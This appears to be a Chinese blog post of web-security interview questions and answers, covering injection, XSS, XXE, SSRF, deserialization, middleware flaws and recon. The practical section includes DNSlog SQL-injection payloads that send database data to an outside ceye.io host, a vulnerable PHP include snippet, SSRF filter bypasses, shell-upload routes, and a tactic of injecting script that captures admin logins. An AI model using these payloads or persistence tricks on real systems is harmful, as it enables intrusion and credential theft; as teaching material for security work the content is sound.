面试题目整理

admin 2023年5月10日09:45:35评论115 views字数 20302阅读67分40秒阅读模式

前言:

最近和朋友商量好了。

一起打算整理,开发和研究一些东西,有些东西陆陆续续会放出来,整理的项目的话也会持续更新。

如果对你有用,希望给个关注。

5~7月的计划内容

整理方面:面试题目整理

工具研发相关:

①情报测绘的。

②多工具联动自动化渗透。


漏洞分析:

1day情报漏洞挖掘分析

0day挖掘(相关内容暂时不会放出来)

整理

小白菜(主要)、goddemon


网络安全面试题目

Web安全

web黑盒漏洞原理问题

1.SQL注入

  • 原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
  • 种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等
  • 修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等
  • 预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。

2.跨站点脚本攻击(XSS)漏洞

  • 原理:XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
  • 种类:存储型,反射型,DOM型
  • 区别:存储型:常出现在信息修改添加等地方,导致恶意代码被存储在数据库中,每当被攻击者访问到后就会触发执行;反射型:常出现在url中,一般需要攻击者提前构造好恶意链接,欺骗用户点击,触发攻击代码;DOM型:攻击代码在url中,然后输出在了浏览器的DOM节点中。简单比较会发现,存储和反射都经过服务器,而DOM是纯前端。
  • 修复:对输入数据进行Html Encode 处理,白名单过滤,过滤JavaScript 事件的标签,开启http-only,装WAF等。

3.XXE漏洞

  • 原理:XXE(XML外部实体注入)漏洞是一种利用XML解析器存在问题的安全漏洞,攻击者可以通过将恶意数据注入到XML文件中并发送给应用程序进行解析,从而执行恶意代码或者读取服务器上的敏感数据。主要原因是开发者没有对XML数据进行充分的校验和过滤。
  • 修复:
    • 过滤 XML 中的相关关键词,比如:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC 等。
    • PHP:libxml_disable_entity_loader(true);
    • Java:
    • Python:
    • DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    • dbf.setExpandEntityReferences(false);
    • from lxml import etree
    • xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    • 使用语言中推荐的禁用外部实体的方法
    • 手动黑名单过滤

4.服务器端请求伪造(SSRF)漏洞

  • 原理:攻击者能够通过伪装成终端用户或服务器自身,将恶意数据发送到目标网站内部网络,以达到读取敏感信息、窃取密码等危害。

  • 种类:参数污染型SSRF、基于缺陷的SSRF、反射性SSRF。

  • 修复:

    ①输入验证:对于所有从客户端输入的数据,包括URL、表单和HTTP头字段,都要进行验证和过滤,删除不必要的字符和空格,并限制输入长度。②明确白名单:建立一个明确的白名单,只允许应用程序访问合法的资源。例如,定义一个URL库,在应用程序中仅允许访问这个库中的URL。③限制重定向:使用HTTP响应头来限制服务器的重定向行为,避免恶意重定向导致的SSRF风险。④检测远程地址:应用程序应该检测所有远程URLs和IP地址,以确保它们指向预期的目标并且可信。⑤安全配置:安全地配置服务器和其他基础设施,包括对端口、协议和代理服务器的限制,以减少攻击表面。

5.跨站点请求伪造(CSRF)漏洞

  • 原理:CSRF(跨站点请求伪造)漏洞是一种利用受害者已经登录了某个网站的身份认证信息这一事实进行攻击的手段。攻击者通过构造一个特制的请求,诱导受害者在该网站上访问并执行该请求,从而实现攻击目的。
  • 种类:CSRF漏洞可以分为get型、post型和jsonp型三种类型。其中,get型攻击主要利用图片、链接等标签的src属性来触发,post型则是提交表单或请求,jsonp型则是利用JSONP跨域特性进行攻击。
  • 修复:防止CSRF漏洞的方法主要有Token验证、Referer验证、使用验证码、同源检测和限制Cookie作用域等。具体来说,建议在表单和请求中加入随机生成的Token值,并在服务器端对Token进行验证;使用Referer验证来判断请求是否来源于本站;使用验证码来防止自动化攻击;限制Cookie的作用域,使其仅在必要的URL路径下生效;检查并确保应用程序不会直接响应用户提交的数据等。

6.跨域资源共享(CORS)漏洞

  • 原理:CORS(跨域资源共享)漏洞是一种利用浏览器的同源策略存在缺陷的安全漏洞。攻击者可以通过恶意网站或者其他方式来访问受害者的敏感数据。攻击者利用CORS的特性绕过浏览器的同源策略,从而造成对目标网站的攻击。
  • 种类:CORS漏洞可以分为简单请求和非简单请求两种类型。简单请求是指使用HTTP方法为GET、HEAD、POST,并且只使用了以下Content-Type值之一的请求:text/plain、multipart/form-data 或 application/x-www-form-urlencoded。非简单请求则是不符合以上条件的请求。
  • 区别:简单请求的跨域请求会先发一个预检请求OPTIONS,然后再发送正式请求,而非简单请求则不会发出预检请求OPTIONS,直接发起正式请求。这也是两者最显著的区别。
  • 修复:防止CORS漏洞的方法主要有限制Access-Control-Allow-Origin、使用Token验证和Referer白名单等。具体来说,建议在服务器端进行设置,禁止跨域访问;尽量避免使用Cookie作为认证凭据,而是使用Token验证;对Referer进行白名单限制,只允许指定来源的请求通过。此外,还可以使用CSRF Token来防御相关攻击,以及保证应用程序本身的安全性。

7.远程执行代码(RCE)漏洞

  • 原理:远程执行代码(RCE)漏洞是指攻击者通过在应用程序中注入恶意代码来控制服务器上的操作系统。攻击者通常会利用该漏洞来获取敏感数据、篡改文件、植入后门等。
  • 修复:防止RCE漏洞的方法主要有代码审计、输入验证、参数化查询、使用安全的API、限制文件权限等。具体来说,建议开发人员对所有的输入变量进行严格的输入验证和类型检查;不信任用户输入,避免拼接字符串来生成代码或者SQL语句;使用安全的API,如paramiko库实现SSH连接而不是使用os.system函数;限制应用程序的文件权限,禁止其访问敏感目录和文件等。此外,还可以使用沙箱技术对应用程序进行隔离,以降低攻击者对系统的危害。

8.越权漏洞(IDOR)漏洞

  • 原理:越权漏洞原理主要是由于应用程序没有正确限制用户的访问权限,导致攻击者能够直接访问受保护的资源或数据。
  • 种类:水平越权、垂直越权
  • 区别:
    • 水平越权漏洞发生在同一等级的用户之间。攻击者通过利用系统缺陷或者漏洞,绕过访问控制,获取到其他同级别用户的权限。例如,一个普通用户能够通过修改 URL 参数,访问到另一个普通用户的个人信息,包括用户名、密码等敏感信息。
    • 垂直越权漏洞发生在不同等级的用户之间。攻击者通过利用系统缺陷或者漏洞,从低级别的用户处获取到高级别用户的权限。例如,一个普通用户能够通过修改数据表中的参数,获取到管理员账号的权限。
  • 修复:对于水平越权漏洞,需要加强用户身份验证和访问控制,确保每个用户只能访问其具有权限的资源。而对于垂直越权漏洞,需要加强数据完整性的检查,限制低级别用户能够修改或操作的数据范围,并且限制低级别用户能够执行的操作。

9.未授权访问漏洞

  • 原理:未授权访问漏洞是指攻击者在无需任何授权或认证的情况下,通过某种手段直接访问到了系统中的敏感信息或操作权限。这种漏洞通常是由于系统配置不当、权限设置不正确或者代码实现缺陷等原因导致。

  • 种类:

    • 目录遍历漏洞:攻击者通过修改 URL 参数或其他方式,访问系统中的未授权目录或文件。
    • 功能级别访问控制漏洞:攻击者通过更改请求参数或者直接访问某些页面,绕过原本需要进行授权才能访问的功能模块。这种漏洞通常出现在 Web 应用程序中的管理员后台或其他需要特定权限的地方。
  • 区别:目录遍历漏洞主要是通过对访问路径的修改来实现非法访问,而功能级别访问控制漏洞则是通过对访问条件的修改来实现非法访问。目录遍历漏洞属于文件系统的问题,而功能级别访问控制漏洞则属于应用逻辑的问题。

  • 修复:

    • 实施严格的身份认证和访问控制机制,只有经过身份认证和授权的用户才能访问受保护的资源。
    • 对所有访问进行审计,包括成功和失败的访问,以便检测异常的行为并追踪行为来源。
    • 对所有调用接口的参数进行有效性验证,确保输入的参数符合预期类型、长度、范围等条件。
    • 在应用程序中限制用户能够访问的内容和功能,并禁止跨站点请求伪造 (CSRF) 攻击。
    • 定期检查和更新应用程序或系统的安全策略和配置,以确保其与最佳实践相符,并防止任何已知的漏洞或攻击向量。
  • 典型:

    未开启认证,导致可以直接连接到数据库,然后在攻击机中生成ssh公钥和私钥,密码设置为空,然后将生成的公钥写入,再利用私钥连接。

    访问ip/jmx-console 就可以浏览jboss 的部署管理的信息面板,不需要输入用户名和密码可以直接部署上传木马。简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直接访问到某些登录后才能访问到的页面。

    • JBOSS 未授权访问漏洞
    • Redis 未授权访问漏洞

10.逻辑漏洞

  • 原理:逻辑漏洞是指攻击者利用系统内部的逻辑错误或疏漏,绕过了安全机制,达到访问敏感信息、执行未授权操作等目的。与其他漏洞不同,逻辑漏洞不依赖于技术性的缺陷,而是在业务逻辑上存在漏洞。
  • 种类:支付漏洞、越权访问、越权操作、权限提升、重放攻击等。
  • 区别:支付漏洞指攻击者通过修改订单金额、篡改请求等方式绕过支付系统的检查,实现非法获利;越权访问是指攻击者获取到其他用户的权限并进行了一些未授权的操作;越权操作则是攻击者将自己的权限提高至超级用户或管理员的权限,从而对系统进行恶意操作;权限提升漏洞是指攻击者针对系统中存在的权限设计问题或代码实现缺陷,成功地将低权限的账号的权限提升至高权限状态。而重放攻击则是攻击者通过重复发送已经获取到的合法请求,来达到冒充他人或者执行某个异常操作的目的。
  • 修复:由于逻辑漏洞涉及到系统业务逻辑的问题,因此要修复此类漏洞需要对业务逻辑进行全面的审查和测试,发现并纠正其中的逻辑错误。同时,对于一些常见的逻辑错误,也可以采取一些相应的对策,比如:对于支付漏洞,需要加强参数校验,使用严谨的算法保护数据的完整性;对于越权访问和操作漏洞,则需要增强访问控制策略,对重要操作进行多重身份验证等;对于权限提升漏洞,需要加强权限管理,遵守最小特权原则;对于重放攻击则可以使用防止重放攻击的技术手段来防范。

11.弱口令漏洞

  • 原理:弱口令漏洞是指攻击者通过猜测或暴力破解的方式获取到系统中账号密码等敏感信息,从而登陆系统进行非法操作或窃取数据等行为。这种漏洞通常是由于用户在设置密码时过于简单、使用默认密码等不安全行为导致。
  • 修复:针对弱口令漏洞,可以采取以下措施:强制要求用户设置密码强度,比如长度、复杂度和特殊符号等;禁止使用默认密码和弱口令,如禁止使用生日、电话号码、连续数字等;加强密码的存储和传输安全,如采用哈希算法、加盐机制等方式保护用户密码;启用多重身份验证机制,增加破解难度;定期检查和更新密码等。同时,企业也可以借助第三方漏洞扫描工具,及时发现系统中存在的弱口令漏洞,并及时加以修复。

12.Oauth认证缺陷漏洞

  • 原理:OAuth认证缺陷漏洞是指攻击者通过对OAuth认证流程中的某些环节进行攻击,从而获取到用户授权信息、窃取用户隐私等行为。常见的OAuth认证缺陷主要包括CSRF攻击、重定向攻击、Token泄露等。
  • 种类:CSRF攻击、重定向攻击、Token泄露等。
  • 区别:CSRF攻击是利用被攻击用户身份发起攻击,类似于冒充用户发起恶意请求;重定向攻击则是攻击者构造了一个URL链接,欺骗用户访问该链接进而获取到授权码或令牌;Token泄露则是攻击者通过各种手段窃取到访问令牌,进而以该令牌的权限进行非法操作。
  • 修复:针对OAuth认证缺陷漏洞,可以采取以下措施:加强认证流程中的安全策略,比如增加验证码验证、多重身份验证等方式来提高身份认证的安全性;使用HTTPS协议加密传输认证信息,防止信息被窃取或篡改;采用高强度加密算法对令牌进行加密处理,保证令牌的安全性;合理设计授权范围,避免过度授权,限制授权时间和权限的范围;对于可能受到攻击的接口实现,需要增加防护机制,禁止恶意访问等。同时,开发人员还需关注OAuth认证工具本身的安全性问题,及时更新OAuth工具版本,防范已知的漏洞风险。

13.重定向漏洞

  • 原理:重定向漏洞是指攻击者利用系统中的某些URL跳转功能,欺骗用户点击恶意链接,将其跳转到攻击者构造的恶意网站上,从而进行钓鱼、窃取用户信息等行为。通常情况下,攻击者会通过修改URL参数或者构造伪造的URL来实现目的。
  • 修复:针对重定向漏洞,可以采取以下措施:限制跳转URL的范围,只允许跳转到特定的站点,避免被攻击者利用;增加双因素验证等安全机制,防止攻击者轻易欺骗用户;对于可能被篡改的URL参数进行校验,避免被篡改;使用合适的编程语言和框架,如.NET MVC、Spring MVC等,自带了对重定向安全的检查,直接调用即可;对于涉及到跳转的功能,尽量使用POST请求,避免GET请求中暴露URL参数的风险;同时,企业还可以采用WAF等安全设备,对可能存在的重定向漏洞进行监测和拦截。

14.jsonp漏洞

  • 原理:JSONP漏洞是指攻击者在Web应用程序中利用JSONP(JSON with Padding)回调函数的机制,通过操纵JSONP请求,在受害者浏览器中执行恶意JavaScript代码,从而进行XSS攻击、窃取用户信息等行为。攻击者通常会伪造一个带有攻击代码的JSONP响应,并将其发送给目标站点。
  • 种类:反射型JSONP漏洞、存储型JSONP漏洞等。
  • 区别:反射型JSONP漏洞是指攻击者构造一次含有恶意回调函数的URL,欺骗用户点击该URL,使得攻击者收到回调函数数据并执行恶意操作;存储型JSONP漏洞则是攻击者将含有恶意回调函数的代码存入数据库中,当用户使用服务时恶意代码被执行。
  • 修复:针对JSONP漏洞,可以采取以下措施:加强输入参数校验,避免恶意代码被注入;限制JSONP请求的来源,即只接受来自可信任源的请求;使用CSP(Content Security Policy)技术,限制网页中可信任的资源来源;定期更新服务端程序,及时修补已知漏洞或问题。此外,企业也可以借助第三方漏洞扫描工具,对系统中存在的JSONP漏洞进行检测和修复。同时,开发人员还应当注重安全编码规范,合理设计回调函数和请求方式,并加强团队内部的安全意识和管理。

15.文件操作漏洞

  • 原理:文件操作漏洞是指攻击者通过恶意构造的文件操作语句,绕过系统的安全限制,对系统中的文件进行非法读写、删除和修改等行为,从而导致系统脆弱性和安全风险。常见的文件操作漏洞包括目录遍历漏洞、文件上传漏洞、文件包含漏洞等。
  • 种类:目录遍历漏洞、文件上传漏洞、文件包含漏洞等。
  • 区别:目录遍历漏洞是指攻击者通过构造恶意路径名,突破文件访问的限制,直接读取或执行系统中其他目录下的文件;文件上传漏洞则是攻击者在Web应用程序中上传恶意文件,从而实现远程控制、窃取目标数据等目的;文件包含漏洞是指攻击者通过操纵PHP的include()函数,将恶意代码注入到被引入的文件中,进而执行恶意操作。
  • 修复:防范文件操作漏洞需要加强对文件操作的权限和安全性管理,包括以下措施:对于所有用户上传的文件,必须进行严格的类型和大小验证,并且不允许上传可执行文件等危险文件;对于系统中的重要文件,需要对其访问权限进行设置,只开放必要的权限,并及时备份数据;对于可能存在遍历漏洞的文件路径,需要提前做好访问限制,尽可能采用白名单机制来控制文件访问;对于动态页面中包含的文件,需要使用绝对路径而不是相对路径,同时禁止使用用户输入数据作为动态页面中包含的文件路径等。此外,企业还可以借助WAF等安全设备,对系统中可能存在的文件操作漏洞进行监测和拦截。

16.条件竞争漏洞

  • 原理:条件竞争漏洞是指在多线程环境下,当两个或多个线程同时访问同一资源时,由于代码执行的先后顺序不确定,导致程序出现非预期的行为和结果。通常情况下,攻击者会利用这种竞争条件来实现未授权访问、远程命令执行等恶意操作。
  • 种类:文件竞争漏洞、时间竞争漏洞等。
  • 区别:文件竞争漏洞主要发生在多个进程同时读写同一个文件时,从而出现数据丢失、覆盖等问题;时间竞争漏洞则是攻击者利用程序中的定时器等机制,快速执行一些敏感操作,突破系统的安全限制。
  • 修复:针对条件竞争漏洞,可以采取以下措施:对于共享变量或者资源,需要采用锁等机制保证同步访问;注意避免出现死锁等问题;对于需要调用系统函数或者外部API的操作,需要先判断其返回值,并做好适当的错误处理;尽可能减少共享内存区域,在多线程之间使用消息队列等机制进行信息交换;对于可能存在时间竞争漏洞的程序代码,需要加入合适的延时调用和异常处理,避免程序出错等情况。此外,企业还应该进行安全编码规范和安全测试,及时发现并修补程序中存在的条件竞争漏洞。

17.并发漏洞


web白盒漏洞问题

1.JAVA反序列化了解吗?有没有了解过shrio反序列化?

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。

2.PHP反序列化有了解吗?

序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对象。此外,PHP反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一样,例如我们在创建对象时,就会触发 construct(),并执行 construct()中的代码。

3.fastjson漏洞利用原理?

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是 _bytecodes ,有部分函数会根据这个 _bytecodes 生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

4.PHP代码执行的危险函数?PHP命令执行函数?

  • PHP 代码执行的危险函数:call_user_func()、call_user_func_array()、create_function()、array_map()
  • PHP 命令执行函数:system()、shell_exec()、passthru()、exec()、popen()、proc_open()、putenv()

5.phar协议如何利用,php伪协议input与post数据包发送有什么区别?

  • 可以Bypass一些waf,绕过上传限制
  • Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存
  • 区别
    • application/x-www-form-urlencoded 或multipart/form-data时,php://input 中是原始数据。$_POST 中是关联数组,且没有上传控件的内容。
    • enctype="multipart/form-data" 时php://input 是无效的。
    • Content-Type = "text/plain"时,$_POST 不能获取post的数据,php://input可以。

** Fastjson、Log4j常见漏洞原理?如何彻底解决该漏洞?

  • 思路:彻底解决该漏洞可以分析根因,Fastjson主要因为Autotype导致的、Log4j主要因为Lookup,可考虑移除经常出现问题的代码,制作内部精简定制版本。或者通过应用运行时防护(RASP)。

web组件端口漏洞问题

1.常见的中间件漏洞知道哪些?

  • IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞等
  • Apache:解析漏洞、目录遍历等
  • Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
  • Tomcat:远程代码执行、war后门文件部署等
  • JBoss:反序列化漏洞、war后门文件部署等
  • WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署等

2.未授权访问你可以简单说说吗

  • Redis 未授权访问漏洞

未开启认证,导致可以直接连接到数据库,然后在攻击机中生成ssh公钥和私钥,密码设置为空,然后将生成的公钥写入,再利用私钥连接。

  • JBOSS 未授权访问漏洞

访问ip/jmx-console 就可以浏览jboss 的部署管理的信息面板,不需要输入用户名和密码可以直接部署上传木马。简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直接访问到某些登录后才能访问到的页面。

3.weblogic权限绕过?

  • 通过静态资源来绕过权限验证,防止被重定向到登陆界面。
  • 通过请求.portal ,控制处理的Servlet 是渲染UI 的MBeanUtilsInitSingleFileServlet 。
  • 通过编码后的../ ,让最终渲染的模版是console.portal。

web基础实战问题

1.逻辑漏洞遇到过哪些,给你登录框有没有什么思路?

  • 常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面等等
  • 登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等

2.CDN和DNS区别?CDN绕过思路?

  • CDN:内容分发网络,主要作用就是让用户就近访问网络资源,提高响应速度,降低网络拥堵。
  • DNS:域名服务器,主要作用就是将域名翻译成ip地址。
  • CDN绕过思路:子域名,内部邮件,黑暗引擎搜索,国外ping,证书及DNS查询,app抓包,配置不当泄露,扫全网,DOS攻击等。

3.命令无回显如何解决?

  • 无回显:延时判断,http请求监听,DNSlog利用,写入当前目录下载查看等等。

4.3389端口无法连接的几种情况?

1.3389关闭状态

2.端口修改

3.防火墙连接

4.处于内网环境

5.超过了服务器最大连接数

6.管理员设置 权限,指定用户登录

5.常问的端口信息?

  • 21:FTP文件传输协议
  • 22:SSH远程连接
  • 23:TELNET远程登录
  • 25:SMTP邮件服务
  • 53:DNS域名系统
  • 80:HTTP超文本传输协议
  • 443:HTTPS安全超文本传输协议
  • 1433:MSSQL
  • 3306:MYSQL
  • 3389:windows远程桌面服务端口
  • 7701:weblogic
  • 8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号

6.渗透测试的流程?

  • 单一网站:先判断有无CDN,有先找真实ip,无的话扫扫旁站,c段,此外识别CMS,看看使用什么中间件,插件,系统等等,再对其进行端口探测,目录扫描,查看网站的js文件,看看有没有敏感信息泄露,找找看看有没有app,公众号之类的等等扩大资产面,然后对收集到的信息进行常规的漏洞探测
  • 网段或区域:使用goby工具对资产进行一个批量的扫描,批量打点,然后对可能存在漏洞的薄弱点进行漏洞探测

7.打点一般会用什么漏洞?

优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打点,随后再找其他脆弱性易打进去的点。因为javaweb程序运行都是以高权限有限运行,部分可能会降权。

8.SSRF禁用127.0.0.1后如何绕过,支持哪些协议?

(1) 利用进制转换

(2) 利用DNS解析

(3) 利用句号(127。0。0。1)

(4) 利用[::](http://[::]:80/);

(5) 利用@(http ://[email protected]);

(6) 利用短地址(http ://dwz.cn/11SMa);

(7) 协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)

9.sqlmap自带脚本你知道哪些?

1、apostrophemask.py :将引号替换为UTF-8,用于过滤单引号。

2、base64encode.py :替换为base64编码。

3、multiplespaces.py:围绕SQL关键字添加多个空格。

4、space2plus.py:用+号替换为空格。

10.了解过解析漏洞,分别有哪些?

  • IIS:
    • 1、在网站目录.asp、.asa下的任何扩展名的文件格式都会被解析为asp并执行在目录.asp下,.txt文本文件被解析。
    • 2、在IIS6.0上,分号; 后面的不解析。
  • nginx:
    • 1、在网站目录下创建文件demo2.jpg,然后再浏览器 中 访 问 http://192.168.11.131/test2/demo2.jpg/aaa.php服务器对请求的内容是从右向左的。Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回“Accessdenied.”。
    • 2、00截断
  • apache
    • Apache解析文件的时候是按照从右向左的方式,直到遇到自己能解析的脚本后缀

11.为何一个mysql数据库的站,只有一个80端口开放?

  • 更改了端口,没有扫描出来。
  • 站库分离。
  • 3306端口不对外开放。

12.注入时可以不使用and或or或xor,直接order by开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

13.在有shell的情况下,如何使用xss实现对目标站的长久控制?

  • 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
  • 在登录后才可以访问的文件中插入XSS脚本。

14.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403什么原因?

这种情况很可能是因为目标站点对上传文件进行了格式限制。在上传文件时,服务器通常会检测文件类型和内容,并根据不同的文件类型采取不同的处理方式。如果上传的文件类型不在允许范围内,服务器可能会禁止访问该文件,返回403状态码。可以尝试改写后缀进行绕过

15.access扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.文件包含Getshell思路?

  • 通过PHP伪协议php://input写入一句话木马
  • 通过PHP伪协议php://filter读取敏感文件

17.xss的防护方法有哪些呢?httponly绕过?

  • 防护
    • 输入过滤
    • 纯前端渲染
    • 转义HTML
  • 绕过
    • CVE-2012-0053。
    • PHPINFO页面(如果目标网站存在PHPINFO页面,就可以通过XMLHttpRequest请求该页面获取Cookie信息($_SERVER[“HTTP_COOKIE”]会打印出具有httponly属性的cookies))。
    • iframe框架钓鱼(通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页面)。跳转钓鱼(通过购买相似名,构建相同的钓鱼页面,使受害者跳转至钓鱼站)。
    • 历史密码(通过js伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的历史密码)。

18.你常用的渗透工具or漏扫工具?

  • 渗透工具:msf,cs,nmap,slqmap,dirscan,burp等
  • 漏扫:xray,awvs,nessus,appscan等

19.sqlmap中--os-shell的原理及利用条件?

  • 利用条件:root权限,知道绝对路径,GPC关闭,Secure_file_priv参数为空或者为指定路径。
  • 原理及流程:原理其他比较简单,先目标的一个基础信息的探测,然后上传shell到目标web网站上,利用shell传参进行命令执行,退出时删除shell。
  • 当然数据库不同,必要条件也不同,例如sqlserver需要数据库支持外连,数据库权限为SA权限,主要利用xp_cmdshell扩展进行命令执行。
  • 原理细致分析:https://xz.aliyun.com/t/7942#toc-4

20.对于信息收集你会使用哪些工具?具体用来干什么?

  • nmap:端口服务扫描,常见漏洞探测
  • dirsearch:目录信息扫描
  • whatwaf:waf检测识别
  • WFuzz:fuzz测试
  • 潮汐指纹识别orwappalzer:cms及中间件等信息收集

21.市面上的几款webshell管理工具,他们的相同点和不同点?

  • 相同点:都是webshell管理的工具,都采用的是C/S模型,上传的shell为S,个人客户端为C。
  • 不同点:实现区别,功能差异,例如冰蝎有流量动态加密。

22.nmap常用参数,说一下?

参考文章:https://www.cnblogs.com/Vinson404/p/7784829.htm

23.如何手工判断对方操作系统?

  • 修改url中参数,改成大写,正常为windows,不正常即为linux
  • ping服务器,返还得TTL值不一样,windows一般在100以上,linux一般是100以下。
  • 查看数据包HTTP报头,如果是iis那就肯定是windows

24.Linux日志目录?

  • /var/log下

25.php的%00截断的原理是什么?

  • 因为在C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
  • 条件:PHP<5.3.29,且GPC关闭。

26.php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

if ($_GET['file']){
    include $_GET['file'];
}
  • 包含的文件设置为变量,并且无过滤导致可以调用恶意文件 还可以对远程文件包含,但需要开启allow_url_include = ON 通过测试参数的地方进行本地文件/etc/passwd等包含 如何存在漏洞而且没有回显,有可能没有显示在页面而是在网页源代码中,除些可以利用DNSlog进行获取包含的信息。从index.php文件一级级往读取 也可以利用PHP封装协议读取文件

27.sleep被禁用后还能怎么进行sql注入

  • BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。mysql:AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);

28.XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过

  • xxe常见场景是如pdf在线解析、word在线解析、定制协议,留言板等,跟逻辑设计有关而与语言无关,最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用DTD、Entity。xxe危害 读取本地文件,执行系统命令,探测内网端口,攻击内网服务 探测内网端口的协议有gopher file dict,不同语言支持不同的协议,是具体情况而定 file http ftp是常用的
  • 防范,python用lxml时可以对resolve_entities设为false。或者过滤用户提交的xml
  • 客户端也可以有xxe攻击,有的网站会使用office打开docx进行解析 Java解析XML的常用三方库,如果不禁用DTD、Entity都会导致XXE漏洞:javax.xml.stream.XMLStreamReader;javax.xml.parsers.DocumentBuilderFactory;

29.信息收集如何处理子域名爆破的泛解析问题?

  • 参考文章:https://blog.csdn.net/Chu_Jian_Xiong/article/details/127496889

30.输出到href的XSS如何防御?

  • 参考文章:https://blog.csdn.net/m0_53008479/article/details/124487401

31.samesite防御CSRF的原理?

  • 参考文章:https://blog.csdn.net/qq_26192391/article/details/116378150

32.phpmyadmin写sehll的方法?

  • 常规导入shell的操作
  • 一句话导出shell
  • 日志备份获取shell

33.Sql注入无回显的情况下,利用DNSlog,mysql下利用什么构造代码?mssql下又如何?

  • 没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
  • 此时也可以使用DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取DNS 解析时的日志,来获取想要的信息。
  • Mysql 中利用load_file() 构造payload:' and if((select load_file(concat('',(selectdatabase()),'.xxx.cey e.ioabc'))),1,0)#
  • Mssql 下利用master..xp_dirtree 构造payload:DECLARE @ hostvarchar(1024);SELECT @ host=(SELECTdb_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"'+@host+'foobar$"');

34.宽字节注入漏洞原理、利用方式及修复方案?

  • 原理:在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时候会和转义符 %5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了。

  • 参考文章:

    https://blog.csdn.net/weixin_41489908/article/details/108481665

    https://www.cnblogs.com/zzjdbk/p/12984498.html

35.平常怎么去发现shiro漏洞的?

  • 思路:登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan被动扫描去发现
